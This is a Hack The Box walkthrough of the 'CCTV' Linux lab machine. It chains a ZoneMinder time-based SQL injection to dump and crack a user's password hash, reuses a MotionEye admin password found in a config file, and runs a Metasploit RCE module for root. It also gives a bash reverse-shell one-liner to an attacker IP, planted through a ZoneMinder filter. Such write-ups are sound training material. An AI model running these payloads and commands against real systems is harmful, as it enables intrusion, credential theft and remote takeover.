Hack The Box / LINUX / 2026-07-11
Hack The Box - CCTV (Linux)
ZoneMinder time-based SQL injection reveals mark credentials. After SSH login, we find the MotionEye configuration files with the admin password. Finally, a MotionEye RCE vulnerability leads to root.
Target
- IP:
10.129.1.55
Initial reconnaissance
sudo nmap -sC -sV 10.129.1.55 -p- -v
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add cctv.htb to /etc/hosts.
Browse to http://cctv.htb/ and click on staff login. That takes us to http://cctv.htb/zm/.
Log in with:
admin / admin
The installed ZoneMinder version is 1.37.63. That version is affected by CVE-2024-51482.
Reference:
- https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3
ZoneMinder time-based SQL injection
We can interact with the vulnerable endpoint like this:
curl -X POST 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -d 'user=admin&pass=admin'
To make sqlmap easier to use, we route the request through Burp.
Start Burp Proxy, then send the request through it:
curl -X POST 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' -d 'user=admin&pass=admin' --proxy 'http://127.0.0.1:8080/'
Copy the raw request into req.txt and run:
sqlmap -r req.txt -p tid
sqlmap confirms that the tid parameter is vulnerable to SQL injection:
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 7179 FROM (SELECT(SLEEP(5)))IVQE)
Looking at the upstream ZoneMinder source code we can identify the database name and the user table name.
sqlmap is slow here, even with multithreading:
sqlmap -r req.txt -p tid -D zm -T Users --dump --threads 10
It also dumps more than we need when asking for columns, so I decided to write a small script that extracts only the password.
The script is attached as CVE-2024-51482_time_sqli.py.
ZoneMinder already shows a user named mark, so we can target that account.
One important detail is that MySQL comparisons are case-insensitive by default, so extracting the password hash directly as text is inconvenient.
For example:
mysql> select 'a' = 'A';
+-----------+
| 'a' = 'A' |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
mysql> select 'a' = 'a';
+-----------+
| 'a' = 'a' |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)
mysql> select 'a' = 'b';
+-----------+
| 'a' = 'b' |
+-----------+
| 0 |
+-----------+
1 row in set (0.00 sec)
To avoid that issue, we extract the password hash as a hexadecimal string. That also reduces the number of characters we need to test.
Run the script:
python3 CVE-2024-51482_time_sqli.py
The result is:
[+] Password for 'mark': $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
Put the hash into a file called hash and crack it:
hashcat -a 0 -m 3200 ./hash /usr/share/wordlists/rockyou.txt
That gives us:
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
SSH access as mark
Log in over SSH as mark and enter the password opensesame.
ssh mark@cctv.htb
Enumerate listening ports:
ss -ltpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8554 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8888 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8765 0.0.0.0:*
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9081 0.0.0.0:*
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:1935 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:7999 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 4096 [::]:22 [::]:*
Port 8765 is MotionEye.
Its configuration is in /etc/motioneye.
ls /etc/motioneye
camera-1.conf motion.conf motioneye.conf
In motion.conf we find:
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
Forward MotionEye with SSH:
ssh -NL 8765:localhost:8765 -NL 8554:localhost:8554 mark@cctv.htb
Then browse to http://127.0.0.1:8765/.
Log in with:
admin / 989c5a8ee87a0e9521ec81a79187d162109282f0
We are logged in.
The installed MotionEye version is 0.43.1b4.
Searching online reveals CVE-2025-60787.
The exploit is available through Metasploit:
msfconsole
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set LHOST tun0
set RHOSTS 127.0.0.1
set RPORT 8765
set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
run
The exploit succeeds and we get a Meterpreter session.
getuid
Server username: root
From there we can drop into a shell with shell.
Additional notes
There is also an RCE path through ZoneMinder itself.
Start a netcat listener:
nc -vlnp 4444
Set up a fake RTSP stream using this repository:
- https://github.com/insight-platform/Fake-RTSP-Stream
Download it, enter the directory, and run:
docker compose up
Then in ZoneMinder add a monitor and set the source to:
rtsp://10.10.16.41:8554/local-loop
Enable recording.
Go to the filters page and create a new filter with:
event disk space is not NULL
Execute command on all matches: bash -c 'bash -i >& /dev/tcp/10.10.16.41/4444 0>&1'
Check the box for running the filter in the background, save it, and click execute.
The netcat terminal receives a reverse shell.